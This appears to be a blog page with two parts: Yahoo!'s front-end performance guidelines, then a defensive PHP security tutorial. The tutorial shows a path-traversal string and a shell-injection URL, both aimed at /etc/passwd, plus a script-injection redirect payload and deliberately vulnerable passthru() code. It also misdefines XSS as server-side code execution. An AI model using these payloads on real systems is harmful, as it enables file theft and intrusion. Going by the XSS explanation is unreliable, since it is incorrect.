Servers choose what to gzip based on file type, but are typically too limited in what they decide to compress. Most web sites gzip their HTML documents. It's also worthwhile to gzip your scripts and stylesheets, but many web sites miss this opportunity. In fact, it's worthwhile to compress any text response including XML and JSON. Image and PDF files should not be gzipped because they are already compressed. Trying to gzip them not only wastes CPU but can potentially increase file sizes.

Gzipping as many file types as possible is an easy way to reduce page weight and accelerate the user experience.

Put Stylesheets at the Top

While researching performance at Yahoo!, we discovered that moving stylesheets to the document HEAD makes pages apprear to be loading faster. This is because putting stylesheets in the HEAD allows the page to render progressively.

Front-end engineers that care about performance want a page to load progressively; that is, we want the browser to display whatever content it has as soon as possible. This is especially important for pages with a lot of content and for users on slower Internet connections. The importance of giving users visual feedback, such as progress indicators, has been well researched and documented. In our case the HTML page is the progress indicator! When the browser loads the page progressively the header, the navigation bar, the logo at the top, etc. all serve as visual feedback for the user who is waiting for the page. This improves the overall user experience.

The problem with putting stylesheets near the bottom of the document is that it prohibits progressive rendering in many browsers, including Internet Explorer. These browsers block rendering to avoid having to redraw elements of the page if their styles change. The user is stuck viewing a blank white page.

The HTML specification clearly states that stylesheets are to be included in the HEAD of the page: "Unlike A, [LINK] may only appear in the HEAD section of a document, although it may appear any number of times." Neither of the alternatives, the blank white screen or flash of unstyled content, are worth the risk. The optimal solution is to follow the HTML specification and load your stylesheets in the document HEAD.

Put Scripts at the Bottom

The problem caused by scripts is that they block parallel downloads. The HTTP/1.1 specification suggests that browsers download no more than two components in parallel per hostname. If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel. While a script is downloading, however, the browser won't start any other downloads, even on different hostnames.

In some situations it's not easy to move scripts to the bottom. If, for example, the script uses document.write to insert part of the page's content, it can't be moved lower in the page. There might also be scoping issues. In many cases, there are ways to workaround these situations.

An alternative suggestion that often comes up is to use deferred scripts. The DEFER attribute indicates that the script does not contain document.write, and is a clue to browsers that they can continue rendering. Unfortunately, Firefox doesn't support the DEFER attribute. In Internet Explorer, the script may be deferred, but not as much as desired. If a script can be deferred, it can also be moved to the bottom of the page. That will make your web pages load faster.

Avoid CSS Expressions

CSS expressions are a powerful (and dangerous) way to set CSS properties dynamically. They're supported in Internet Explorer, starting with version 5. As an example, the background color could be set to alternate every hour using CSS expressions.

      background-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );

As shown here, the expression method accepts a JavaScript expression. The CSS property is set to the result of evaluating the JavaScript expression. The expression method is ignored by other browsers, so it is useful for setting properties in Internet Explorer needed to create a consistent experience across browsers.

The problem with expressions is that they are evaluated more frequently than most people expect. Not only are they evaluated when the page is rendered and resized, but also when the page is scrolled and even when the user moves the mouse over the page. Adding a counter to the CSS expression allows us to keep track of when and how often a CSS expression is evaluated. Moving the mouse around the page can easily generate more than 10,000 evaluations.

One way to reduce the number of times your CSS expression is evaluated is to use one-time expressions, where the first time the expression is evaluated it sets the style property to an explicit value, which replaces the CSS expression. If the style property must be set dynamically throughout the life of the page, using event handlers instead of CSS expressions is an alternative approach. If you must use CSS expressions, remember that they may be evaluated thousands of times and could affect the performance of your page.

Make JavaScript and CSS External

Many of these performance rules deal with how external components are managed. However, before these considerations arise you should ask a more basic question: Should JavaScript and CSS be contained in external files, or inlined in the page itself?

Using external files in the real world generally produces faster pages because the JavaScript and CSS files are cached by the browser. JavaScript and CSS that are inlined in HTML documents get downloaded every time the HTML document is requested. This reduces the number of HTTP requests that are needed, but increases the size of the HTML document. On the other hand, if the JavaScript and CSS are in external files cached by the browser, the size of the HTML document is reduced without increasing the number of HTTP requests.

The key factor, then, is the frequency with which external JavaScript and CSS components are cached relative to the number of HTML documents requested. This factor, although difficult to quantify, can be gauged using various metrics. If users on your site have multiple page views per session and many of your pages re-use the same scripts and stylesheets, there is a greater potential benefit from cached external files.

Many web sites fall in the middle of these metrics. For these sites, the best solution generally is to deploy the JavaScript and CSS as external files. The only exception where inlining is preferable is with home pages, such as Yahoo!'s front page and My Yahoo!. Home pages that have few (perhaps only one) page view per session may find that inlining JavaScript and CSS results in faster end-user response times.

For front pages that are typically the first of many page views, there are techniques that leverage the reduction of HTTP requests that inlining provides, as well as the caching benefits achieved through using external files. One such technique is to inline JavaScript and CSS in the front page, but dynamically download the external files after the page has finished loading. Subsequent pages would reference the external files that should already be in the browser's cache.

Reduce DNS Lookups

The Domain Name System (DNS) maps hostnames to IP addresses, just as phonebooks map people's names to their phone numbers. When you type www.yahoo.com into your browser, a DNS resolver contacted by the browser returns that server's IP address. DNS has a cost. It typically takes 20-120 milliseconds for DNS to lookup the IP address for a given hostname. The browser can't download anything from this hostname until the DNS lookup is completed.

DNS lookups are cached for better performance. This caching can occur on a special caching server, maintained by the user's ISP or local area network, but there is also caching that occurs on the individual user's computer. The DNS information remains in the operating system's DNS cache (the "DNS Client service" on Microsoft Windows). Most browsers have their own caches, separate from the operating system's cache. As long as the browser keeps a DNS record in its own cache, it doesn't bother the operating system with a request for the record.

Internet Explorer caches DNS lookups for 30 minutes by default, as specified by the DnsCacheTimeout registry setting. Firefox caches DNS lookups for 1 minute, controlled by the network.dnsCacheExpiration configuration setting. (Fasterfox changes this to 1 hour.)

When the client's DNS cache is empty (for both the browser and the operating system), the number of DNS lookups is equal to the number of unique hostnames in the web page. This includes the hostnames used in the page's URL, images, script files, stylesheets, Flash objects, etc. Reducing the number of unique hostnames reduces the number of DNS lookups.

Reducing the number of unique hostnames has the potential to reduce the amount of parallel downloading that takes place in the page. Avoiding DNS lookups cuts response times, but reducing parallel downloads may increase response times. My guideline is to split these components across at least two but no more than four hostnames. This results in a good compromise between reducing DNS lookups and allowing a high degree of parallel downloads.

Minify JavaScript and CSS

Minification is the practice of removing unnecessary characters from code to reduce its size thereby improving load times. When code is minified all comments are removed, as well as unneeded white space characters (space, newline, and tab). In the case of JavaScript, this improves response time performance because the size of the downloaded file is reduced. Two popular tools for minifying JavaScript code are JSMin and YUI Compressor. The YUI compressor can also minify CSS.

Obfuscation is an alternative optimization that can be applied to source code. It's more complex than minification and thus more likely to generate bugs as a result of the obfuscation step itself. In a survey of ten top U.S. web sites, minification achieved a 21% size reduction versus 25% for obfuscation. Although obfuscation has a higher size reduction, minifying JavaScript is less risky.

In addition to minifying external scripts and styles, inlined <script> and <style> blocks can and should also be minified. Even if you gzip your scripts and styles, minifying them will still reduce the size by 5% or more. As the use and size of JavaScript and CSS increases, so will the savings gained by minifying your code.

Avoid Redirects

Redirects are accomplished using the 301 and 302 status codes. Here's an example of the HTTP headers in a 301 response:

      HTTP/1.1 301 Moved Permanently        Location: http://example.com/newuri        Content-Type: text/html

The browser automatically takes the user to the URL specified in the Location field. All the information necessary for a redirect is in the headers. The body of the response is typically empty. Despite their names, neither a 301 nor a 302 response is cached in practice unless additional headers, such as Expires or Cache-Control, indicate it should be. The meta refresh tag and JavaScript are other ways to direct users to a different URL, but if you must do a redirect, the preferred technique is to use the standard 3xx HTTP status codes, primarily to ensure the back button works correctly.

The main thing to remember is that redirects slow down the user experience. Inserting a redirect between the user and the HTML document delays everything in the page since nothing in the page can be rendered and no components can start being downloaded until the HTML document has arrived.

One of the most wasteful redirects happens frequently and web developers are generally not aware of it. It occurs when a trailing slash (/) is missing from a URL that should otherwise have one. For example, going to http://astrology.yahoo.com/astrology results in a 301 response containing a redirect to http://astrology.yahoo.com/astrology/ (notice the added trailing slash). This is fixed in Apache by using Alias or mod_rewrite, or the DirectorySlash directive if you're using Apache handlers.

Connecting an old web site to a new one is another common use for redirects. Others include connecting different parts of a website and directing the user based on certain conditions (type of browser, type of user account, etc.). Using a redirect to connect two web sites is simple and requires little additional coding. Although using redirects in these situations reduces the complexity for developers, it degrades the user experience. Alternatives for this use of redirects include using Alias and mod_rewrite if the two code paths are hosted on the same server. If a domain name change is the cause of using redirects, an alternative is to create a CNAME (a DNS record that creates an alias pointing from one domain name to another) in combination with Alias or mod_rewrite.

Remove Duplicate Scripts

It hurts performance to include the same JavaScript file twice in one page. This isn't as unusual as you might think. A review of the ten top U.S. web sites shows that two of them contain a duplicated script. Two main factors increase the odds of a script being duplicated in a single web page: team size and number of scripts. When it does happen, duplicate scripts hurt performance by creating unnecessary HTTP requests and wasted JavaScript execution.

Unnecessary HTTP requests happen in Internet Explorer, but not in Firefox. In Internet Explorer, if an external script is included twice and is not cacheable, it generates two HTTP requests during page loading. Even if the script is cacheable, extra HTTP requests occur when the user reloads the page.

In addition to generating wasteful HTTP requests, time is wasted evaluating the script multiple times. This redundant JavaScript execution happens in both Firefox and Internet Explorer, regardless of whether the script is cacheable.

One way to avoid accidentally including the same script twice is to implement a script management module in your templating system. The typical way to include a script is to use the SCRIPT tag in your HTML page.

      <script type="text/javascript" src="menu_1.0.17.js"></script>

An alternative in PHP would be to create a function called insertScript.

      <?php insertScript("menu.js") ?>

In addition to preventing the same script from being inserted multiple times, this function could handle other issues with scripts, such as dependency checking and adding version numbers to script filenames to support far future Expires headers.

Configure ETags

Entity tags (ETags) are a mechanism that web servers and browsers use to determine whether the component in the browser's cache matches the one on the origin server. (An "entity" is another word a "component": images, scripts, stylesheets, etc.) ETags were added to provide a mechanism for validating entities that is more flexible than the last-modified date. An ETag is a string that uniquely identifies a specific version of a component. The only format constraints are that the string be quoted. The origin server specifies the component's ETag using the ETag response header.

      HTTP/1.1 200 OK        Last-Modified: Tue, 12 Dec 2006 03:03:59 GMT        ETag: "10c24bc-4ab-457e1c1f"        Content-Length: 12195

Later, if the browser has to validate a component, it uses the If-None-Match header to pass the ETag back to the origin server. If the ETags match, a 304 status code is returned reducing the response by 12195 bytes for this example.

      GET /i/yahoo.gif HTTP/1.1        Host: us.yimg.com        If-Modified-Since: Tue, 12 Dec 2006 03:03:59 GMT        If-None-Match: "10c24bc-4ab-457e1c1f"        HTTP/1.1 304 Not Modified

The problem with ETags is that they typically are constructed using attributes that make them unique to a specific server hosting a site. ETags won't match when a browser gets the original component from one server and later tries to validate that component on a different server, a situation that is all too common on Web sites that use a cluster of servers to handle requests. By default, both Apache and IIS embed data in the ETag that dramatically reduces the odds of the validity test succeeding on web sites with multiple servers.

The ETag format for Apache 1.3 and 2.x is inode-size-timestamp. Although a given file may reside in the same directory across multiple servers, and have the same file size, permissions, timestamp, etc., its inode is different from one server to the next.

IIS 5.0 and 6.0 have a similar issue with ETags. The format for ETags on IIS is Filetimestamp:ChangeNumber. A ChangeNumber is a counter used to track configuration changes to IIS. It's unlikely that the ChangeNumber is the same across all IIS servers behind a web site.

The end result is ETags generated by Apache and IIS for the exact same component won't match from one server to another. If the ETags don't match, the user doesn't receive the small, fast 304 response that ETags were designed for; instead, they'll get a normal 200 response along with all the data for the component. If you host your web site on just one server, this isn't a problem. But if you have multiple servers hosting your web site, and you're using Apache or IIS with the default ETag configuration, your users are getting slower pages, your servers have a higher load, you're consuming greater bandwidth, and proxies aren't caching your content efficiently. Even if your components have a far future Expires header, a conditional GET request is still made whenever the user hits Reload or Refresh.

If you're not taking advantage of the flexible validation model that ETags provide, it's better to just remove the ETag altogether. The Last-Modified header validates based on the component's timestamp. And removing the ETag reduces the size of the HTTP headers in both the response and subsequent requests. This Microsoft Support article describes how to remove ETags. In Apache, this is done by simply adding the following line to your Apache configuration file:

      FileETag none

Make Ajax Cacheable

One of the cited benefits of Ajax is that it provides instantaneous feedback to the user because it requests information asynchronously from the backend web server. However, using Ajax is no guarantee that the user won't be twiddling his thumbs waiting for those asynchronous JavaScript and XML responses to return. In many applications, whether or not the user is kept waiting depends on how Ajax is used. For example, in a web-based email client the user will be kept waiting for the results of an Ajax request to find all the email messages that match their search criteria. It's important to remember that "asynchronous" does not imply "instantaneous".

To improve performance, it's important to optimize these Ajax responses. The most important way to improve the performance of Ajax is to make the responses cacheable, as discussed in Add an Expires or a Cache-Control Header. Some of the other rules also apply to Ajax:

Let's look at an example. A Web 2.0 email client might use Ajax to download the user's address book for autocompletion. If the user hasn't modified her address book since the last time she used the email web app, the previous address book response could be read from cache if that Ajax response was made cacheable with a future Expires or Cache-Control header. The browser must be informed when to use a previously cached address book response versus requesting a new one. This could be done by adding a timestamp to the address book Ajax URL indicating the last time the user modified her address book, for example, &t=1190241612. If the address book hasn't been modified since the last download, the timestamp will be the same and the address book will be read from the browser's cache eliminating an extra HTTP roundtrip. If the user has modified her address book, the timestamp ensures the new URL doesn't match the cached response, and the browser will request the updated address book entries.

Even though your Ajax responses are created dynamically, and might only be applicable to a single user, they can still be cached. Doing so will make your Web 2.0 apps faster.

Flush the Buffer Early

When users request a page, it can take anywhere from 200 to 500ms for the backend server to stitch together the HTML page. During this time, the browser is idle as it waits for the data to arrive. In PHP you have the function flush(). It allows you to send your partially ready HTML response to the browser so that the browser can start fetching components while your backend is busy with the rest of the HTML page. The benefit is mainly seen on busy backends or light frontends.

A good place to consider flushing is right after the HEAD because the HTML for the head is usually easier to produce and it allows you to include any CSS and JavaScript files for the browser to start fetching in parallel while the backend is still processing.

Example:

      ... <!-- css, js -->      </head>      <?php flush(); ?>      <body>        ... <!-- content -->

Yahoo! search pioneered research and real user testing to prove the benefits of using this technique.

Use GET for AJAX Requests

The Yahoo! Mail team found that when using XMLHttpRequest, POST is implemented in the browsers as a two-step process: sending the headers first, then sending data. So it's best to use GET, which only takes one TCP packet to send (unless you have a lot of cookies). The maximum URL length in IE is 2K, so if you send more than 2K data you might not be able to use GET.

An interesting side affect is that POST without actually posting any data behaves like GET. Based on the HTTP specs, GET is meant for retrieving information, so it makes sense (semantically) to use GET when you're only requesting data, as opposed to sending data to be stored server-side.

Post-load Components

You can take a closer look at your page and ask yourself: "What's absolutely required in order to render the page initially?". The rest of the content and components can wait.

JavaScript is an ideal candidate for splitting before and after the onload event. For example if you have JavaScript code and libraries that do drag and drop and animations, those can wait, because dragging elements on the page comes after the initial rendering. Other places to look for candidates for post-loading include hidden content (content that appears after a user action) and images below the fold.

Tools to help you out in your effort: YUI Image Loader allows you to delay images below the fold and the YUI Get utility is an easy way to include JS and CSS on the fly. For an example in the wild take a look at Yahoo! Home Page with Firebug's Net Panel turned on.

It's good when the performance goals are inline with other web development best practices. In this case, the idea of progressive enhancement tells us that JavaScript, when supported, can improve the user experience but you have to make sure the page works even without JavaScript. So after you've made sure the page works fine, you can enhance it with some post-loaded scripts that give you more bells and whistles such as drag and drop and animations.

Preload Components

Preload may look like the opposite of post-load, but it actually has a different goal. By preloading components you can take advantage of the time the browser is idle and request components (like images, styles and scripts) you'll need in the future. This way when the user visits the next page, you could have most of the components already in the cache and your page will load much faster for the user.

There are actually several types of preloading:

Unconditional preload - as soon as onload fires, you go ahead and fetch some extra components. Check google.com for an example of how a sprite image is requested onload. This sprite image is not needed on the google.com homepage, but it is needed on the consecutive search result page.
Conditional preload - based on a user action you make an educated guess where the user is headed next and preload accordingly. On search.yahoo.com you can see how some extra components are requested after you start typing in the input box.
Anticipated preload - preload in advance before launching a redesign. It often happens after a redesign that you hear: "The new site is cool, but it's slower than before". Part of the problem could be that the users were visiting your old site with a full cache, but the new one is always an empty cache experience. You can mitigate this side effect by preloading some components before you even launched the redesign. Your old site can use the time the browser is idle and request images and scripts that will be used by the new site

Reduce the Number of DOM Elements

A complex page means more bytes to download and it also means slower DOM access in JavaScript. It makes a difference if you loop through 500 or 5000 DOM elements on the page when you want to add an event handler for example.

A high number of DOM elements can be a symptom that there's something that should be improved with the markup of the page without necessarily removing content. Are you using nested tables for layout purposes? Are you throwing in more <div>s only to fix layout issues? Maybe there's a better and more semantically correct way to do your markup.

A great help with layouts are the YUI CSS utilities: grids.css can help you with the overall layout, fonts.css and reset.css can help you strip away the browser's defaults formatting. This is a chance to start fresh and think about your markup, for example use <div>s only when it makes sense semantically, and not because it renders a new line.

The number of DOM elements is easy to test, just type in Firebug's console:
document.getElementsByTagName('*').length

And how many DOM elements are too many? Check other similar pages that have good markup. For example the Yahoo! Home Page is a pretty busy page and still under 700 elements (HTML tags).

Split Components Across Domains

Splitting components allows you to maximize parallel downloads. Make sure you're using not more than 2-4 domains because of the DNS lookup penalty. For example, you can host your HTML and dynamic content on www.example.org and split static components between static1.example.org and static2.example.org

For more information check "Maximizing Parallel Downloads in the Carpool Lane" by Tenni Theurer and Patty Chi.

Minimize the Number of iframes

Iframes allow an HTML document to be inserted in the parent document. It's important to understand how iframes work so they can be used effectively.

<iframe> pros:

Helps with slow third-party content like badges and ads
Security sandbox
Download scripts in parallel

<iframe> cons:

Costly even if blank
Blocks page onload
Non-semantic

No 404s

HTTP requests are expensive so making an HTTP request and getting a useless response (i.e. 404 Not Found) is totally unnecessary and will slow down the user experience without any benefit.

Some sites have helpful 404s "Did you mean X?", which is great for the user experience but also wastes server resources (like database, etc). Particularly bad is when the link to an external JavaScript is wrong and the result is a 404. First, this download will block parallel downloads. Next the browser may try to parse the 404 response body as if it were JavaScript code, trying to find something usable in it.

Reduce Cookie Size

HTTP cookies are used for a variety of reasons such as authentication and personalization. Information about cookies is exchanged in the HTTP headers between web servers and browsers. It's important to keep the size of cookies as low as possible to minimize the impact on the user's response time.

For more information check "When the Cookie Crumbles" by Tenni Theurer and Patty Chi. The take-home of this research:

Eliminate unnecessary cookies
Keep cookie sizes as low as possible to minimize the impact on the user response time
Be mindful of setting cookies at the appropriate domain level so other sub-domains are not affected
Set an Expires date appropriately. An earlier Expires date or none removes the cookie sooner, improving the user response time

Use Cookie-free Domains for Components

When the browser makes a request for a static image and sends cookies together with the request, the server doesn't have any use for those cookies. So they only create network traffic for no good reason. You should make sure static components are requested with cookie-free requests. Create a subdomain and host all your static components there.

If your domain is www.example.org, you can host your static components on static.example.org. However, if you've already set cookies on the top-level domain example.org as opposed to www.example.org, then all the requests to static.example.org will include those cookies. In this case, you can buy a whole new domain, host your static components there, and keep this domain cookie-free. Yahoo! uses yimg.com, YouTube uses ytimg.com, Amazon uses images-amazon.com and so on.

Another benefit of hosting static components on a cookie-free domain is that some proxies might refuse to cache the components that are requested with cookies. On a related note, if you wonder if you should use example.org or www.example.org for your home page, consider the cookie impact. Omitting www leaves you no choice but to write cookies to *.example.org, so for performance reasons it's best to use the www subdomain and write the cookies to that subdomain.

Minimize DOM Access

Accessing DOM elements with JavaScript is slow so in order to have a more responsive page, you should:

Cache references to accessed elements
Update nodes "offline" and then add them to the tree
Avoid fixing layout with JavaScript

For more information check the YUI theatre's "High Performance Ajax Applications" by Julien Lecomte.

Develop Smart Event Handlers

Sometimes pages feel less responsive because of too many event handlers attached to different elements of the DOM tree which are then executed too often. That's why using event delegation is a good approach. If you have 10 buttons inside a div, attach only one event handler to the div wrapper, instead of one handler for each button. Events bubble up so you'll be able to catch the event and figure out which button it originated from.

You also don't need to wait for the onload event in order to start doing something with the DOM tree. Often all you need is the element you want to access to be available in the tree. You don't have to wait for all images to be downloaded. DOMContentLoaded is the event you might consider using instead of onload, but until it's available in all browsers, you can use the YUI Event utility, which has an onAvailable method.

For more information check the YUI theatre's "High Performance Ajax Applications" by Julien Lecomte.

Choose <link> over @import

One of the previous best practices states that CSS should be at the top in order to allow for progressive rendering.

In IE @import behaves the same as using <link> at the bottom of the page, so it's best not to use it.

Avoid Filters

The IE-proprietary AlphaImageLoader filter aims to fix a problem with semi-transparent true color PNGs in IE versions < 7. The problem with this filter is that it blocks rendering and freezes the browser while the image is being downloaded. It also increases memory consumption and is applied per element, not per image, so the problem is multiplied.

The best approach is to avoid AlphaImageLoader completely and use gracefully degrading PNG8 instead, which are fine in IE. If you absolutely need AlphaImageLoader, use the underscore hack _filter as to not penalize your IE7+ users.

Optimize Images

After a designer is done with creating the images for your web page, there are still some things you can try before you FTP those images to your web server.

You can check the GIFs and see if they are using a palette size corresponding to the number of colors in the image. Using imagemagick it's easy to check using
identify -verbose image.gif
When you see an image useing 4 colors and a 256 color "slots" in the palette, there is room for improvement.
Try converting GIFs to PNGs and see if there is a saving. More often than not, there is. Developers often hesitate to use PNGs due to the limited support in browsers, but this is now a thing of the past. The only real problem is alpha-transparency in true color PNGs, but then again, GIFs are not true color and don't support variable transparency either. So anything a GIF can do, a palette PNG (PNG8) can do too (except for animations). This simple imagemagick command results in totally safe-to-use PNGs:
convert image.gif image.png
"All we are saying is: Give PiNG a Chance!"
Run pngcrush (or any other PNG optimizer tool) on all your PNGs. Example:
pngcrush image.png -rem alla -reduce -brute result.png
Run jpegtran on all your JPEGs. This tool does lossless JPEG operations such as rotation and can also be used to optimize and remove comments and other useless information (such as EXIF information) from your images.
jpegtran -copy none -optimize -perfect src.jpg dest.jpg

Optimize CSS Sprites

Arranging the images in the sprite horizontally as opposed to vertically usually results in a smaller file size.
Combining similar colors in a sprite helps you keep the color count low, ideally under 256 colors so to fit in a PNG8.
"Be mobile-friendly" and don't leave big gaps between the images in a sprite. This doesn't affect the file size as much but requires less memory for the user agent to decompress the image into a pixel map. 100x100 image is 10 thousand pixels, where 1000x1000 is 1 million pixels

Don't Scale Images in HTML

Don't use a bigger image than you need just because you can set the width and height in HTML. If you need
<img width="100" height="100" src="mycat.jpg" alt="My Cat" />
then your image (mycat.jpg) should be 100x100px rather than a scaled down 500x500px image.

Make favicon.ico Small and Cacheable

The favicon.ico is an image that stays in the root of your server. It's a necessary evil because even if you don't care about it the browser will still request it, so it's better not to respond with a 404 Not Found. Also since it's on the same server, cookies are sent every time it's requested. This image also interferes with the download sequence, for example in IE when you request extra components in the onload, the favicon will be downloaded before these extra components.

So to mitigate the drawbacks of having a favicon.ico make sure:

It's small, preferably under 1K.
Set Expires header with what you feel comfortable (since you cannot rename it if you decide to change it). You can probably safely set the Expires header a few months in the future. You can check the last modified date of your current favicon.ico to make an informed decision.

Imagemagick can help you create small favicons

Keep Components under 25K

This restriction is related to the fact that iPhone won't cache components bigger than 25K. Note that this is the uncompressed size. This is where minification is important because gzip alone may not be sufficient.

For more information check "Performance Research, Part 5: iPhone Cacheability - Making it Stick" by Wayne Shea and Tenni Theurer.

Pack Components into a Multipart Document

Packing components into a multipart document is like an email with attachments, it helps you fetch several components with one HTTP request (remember: HTTP requests are expensive). When you use this technique, first check if the user agent supports it (iPhone does not).

Source: Yahoo! Developer Network

PHP Security / SQL Security - Part 1

2008-06-05T12:53:00.004+05:30

Web Security: The Big Picture

Whether your site is the web presence for a large multinational, a gallery showing your product range and inviting potential customers to come into the shop, or a personal site exhibiting your holiday photos, web security matters. After the hard work put in to make your site look good and respond to your users, the last thing you want is for a malicious hacker to come along, perform a PHP hack and break it somehow.

There are a number of problems in web security, and unfortunately not all of them have definite solutions, but here we'll look at some of the problems that should be considered every time you set out to write a PHP script to avoid a PHP hack attack. These are the problems which, with well-designed code, can be eliminated entirely. Before looking in detail at the solutions, though, lets take a moment to define the problems themselves.

SQL Injection

In this attack, a user is able to execute SQL queries in your website's database. This attack is usually performed by entering text into a form field which causes a subsequent SQL query, generated from the PHP form processing code, to execute part of the content of the form field as though it were SQL. The effects of this attack range from the harmless (simply using SELECT to pull another data set) to the devastating (DELETE, for instance). In more subtle attacks, data could be changed, or new data added.

Directory Traversal

This attack can occur anywhere user-supplied data (from a form field or uploaded filename, for example) is used in a filesystem operation. If a user specifies “../../../../../../etc/passwd” as form data, and your script appends that to a directory name to obtain user-specific files, this string could lead to the inclusion of the password file contents, instead of the intended file. More severe cases involve file operations such as moving and deleting, which allow an attacker to make arbitrary changes to your filesystem structure.

Authentication Issues

Authentication issues involve users gaining access to something they shouldn't, but to which other users should. An example would be a user who was able to steal (or construct) a cookie allowing them to login to your site under an Administrator session, and therefore be able to change anything they liked.

Remote Scripts (XSS)

XSS, or Cross-Site Scripting (also sometimes referred to as CSS, but this can be confused with Cascading Style Sheets, something entirely different!) is the process of exploiting a security hole in one site to run arbitrary code on that site's server. The code is usually included into a running PHP script from a remote location. This is a serious attack which could allow any code the attacker chooses to be run on the vulnerable server, with all of the permissions of the user hosting the script, including database and filesystem access.

Processing User Data – Form Input Verification & HTML Display

Validating Input And Stripping Tags

When a user enters information into a form which is to be later processed on your site, they have the power to enter anything they want. Code which processes form input should be carefully written to ensure that the input is as requested; password fields have the required level of complexity, e-mail fields have at least some characters, an @ sign, some more characters, a period, and two or more characters at the end, zip or postal codes are of the required format, and so on.

Each of these may be verified using regular expressions, which scan the input for certain patterns. An example for e-mail address verification is the PHP code shown below. This evaluates to true if an e-mail address was entered in the field named 'email'.

preg_match('/^.+@.+\..{2,3}$/',$_POST['email']);

This code just constructs a regular expression based on the format described above for an e-mail address. Note that this will return true for anything with an @ sign and a dot followed by 2 or 3 characters. That is the general format for an e-mail address, but it doesn't mean that address necessarily exists; you'd have to send mail to it to be sure of that.

Interesting as this is, how does it relate to security? Well, consider a guestbook as an example. Here, users are invited to enter a message into a form, which then gets displayed on the HTML page along with everyone else's messages. For now, we won't go into database security issues, the problems dealt with below can occur whether the data is stored in a database, a file, or some other construct.

If a user enters data which contains HTML, or even JavaScript, then when the data is included into your HTML for display later, their HTML or JavaScript will also get included.

If your guestbook page displayed whatever was entered into the form field, and a user entered the following,

Hi, I <b>love</b> your site.

Then the effect is minimal, when displayed later, this would appear as,

Hi, I love your site.

Of course, when the user enters JavaScript, things can get a lot worse. For example, the data below, when entered into a form which does not prevent JavaScript ending up in the final displayed page, will cause the page to redirect to a different website. Obviously, this only works if the client has JavaScript enabled in their browser, but the vast majority of users do.

Hi, I love your site. Its great!<script
language=”JavaScript”>document.location=”http://www.acunetix.com/”;</script>

For a split second when this is displayed, the user will see,

Hi, I love your site. Its great!

The browser will then kick in and the page will be refreshed from www.acunetix.com. In this case, a fairly harmless alternative page, although it does result in a denial of service attack; users can no longer get to your guestbook.

Consider a case where this was entered into an online order form. Your order dispatchers would not be able to view the data because every time they tried, their browser would redirect to another site. Worse still, if the redirection occurred on a critical page for a large business, or the redirection was to a site containing objectionable material, custom may be lost as a result of the attack.

Fortunately, PHP provides a way to prevent this style of PHP hack attack. The functions strip_tags(), nl2br() and htmlspecialchars() are your friends, here.

strip_tags() removes any PHP or HTML tags from a string. This prevents the HTML display problems, the JavaScript execution (the <script> tag will no longer be present) and a variety of problems where there is a chance that PHP code could be executed.

nl2br() converts newline characters in the input to <br /> HTML tags. This allows you to format multi-line input correctly, and is mentioned here only because it is important to run strip_tags() prior to running nl2br() on your data, otherwise the newly inserted <br /> tags will be stripped out when strip_tags() is run!

Finally, htmlspecialchars() will entity-quote characters such as <, > and & remaining in the input after strip_tags() has run. This prevents them being misinterpreted as HTML and makes sure they are displayed properly in any output.

Having presented those three functions, there are a few points to make about their usage. Clearly, nl2br() and htmlspecialchars() are suited for output formatting, called on data just before it is output, allowing the database or file-stored data to retain normal formatting such as newlines and characters such as &. These functions are designed mainly to ensure that output of data into an HTML page is presented neatly, even after running strip_tags() on any input.

strip_tags(), on the other hand, should be run immediately on input of data, before any other processing occurs. The code below is a function to clean user input of any PHP or HTML tags, and works for both GET and POST request methods.

function _INPUT($name)
{
    if ($_SERVER['REQUEST_METHOD'] == 'GET')
        return strip_tags($_GET[$name]);
    if ($_SERVER['REQUEST_METHOD'] == 'POST')
        return strip_tags($_POST[$name]);
}

This function could easily be expanded to include cookies in the search for a variable name. I called it _INPUT because it directly parallels the $_ arrays which store user input. Note also that when using this function, it does not matter whether the page was requested with a GET or a POST method, the code can use _INPUT() and expect the correct value regardless of request method. To use this function, consider the following two lines of code, which both have the same effect, but the second strips the PHP and HTML tags first, thus increasing the security of the script.

$name = $_GET['name');
$name = _INPUT('name');

If data is to be entered into a database, more processing is needed to prevent SQL injection, which will be discussed later.

Executing Code Containing User Input

Another concern when dealing with user data is the possibility that it may be executed in PHP code or on the system shell. PHP provides the eval() function, which allows arbitrary PHP code within a string to be evaluated (run). There are also the system(), passthru() and exec() functions, and the backtick operator, all of which allow a string to be run as a command on the operating system shell.

Where possible, the use of all such functions should be avoided, especially where user input is entered into the command or code. An example of a situation where this can lead to attack is the following command, which would display the results of the command on the web page.

echo 'Your usage log:<br />';
$username = $_GET['username'];
passthru(“cat /logs/usage/$username”);

passthru() runs a command and displays the output as output from the PHP script, which is included into the final page the user sees. Here, the intent is obvious, a user can pass their username in a GET request such as usage.php?username=andrew and their usage log would be displayed in the browser window.

But what if the user passed the following URL?

usage.php?username=andrew;cat%20/etc/passwd

Here, the username value now contains a semicolon, which is a shell command terminator, and a new command afterwards. The %20 is a URL-Encoded space character, and is converted to a space automatically by PHP. Now, the command which gets run by passthru() is,

cat /logs/usage/andrew;cat /etc/passwd

Clearly this kind of command abuse cannot be allowed. An attacker could use this vulnerability to read, delete or modify any file the web server has access to. Luckily, once again, PHP steps in to provide a solution, in the form of the escapeshellarg() function. escapeshellarg() escapes any characters which could cause an argument or command to be terminated. As an example, any single or double quotes in the string are replaced with \' or \”, and semicolons are replaced with \;. These replacements, and any others performed by escapeshellarg(), ensure that code such as that presented below is safe to run.

$username = escapeshellarg($_GET['username']);
passthru(“cat /logs/usage/$username”);

Now, if the attacker attempts to read the password file using the request string above, the shell will attempt to access a file called “/logs/usage/andrew;cat /etc/passwd”, and will fail, since this file will almost certainly not exist.

It is generally considered that eval() called on code containing user input be avoided at all costs; there is almost always a better way to achieve the desired effect. However, if it must be done, ensure that strip_tags has been called, and that any quoting and character escapes have been performed.

Combining the above techniques to provide stripping of tags, escaping of special shell characters, entity-quoting of HTML and regular expression-based input validation, it is possible to construct secure web scripts with relatively little work over and above constructing one without the security considerations. In particular, using a function such as the _INPUT() presented above makes the secure version of input acquisition almost as painless as the insecure version PHP provides.

How to check for PHP vulnerabilities

The best way to check whether your web site & applications are vulnerable to PHP hack attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web application scanner will also check for SQL injection, Cross site scripting & other web vulnerabilities.

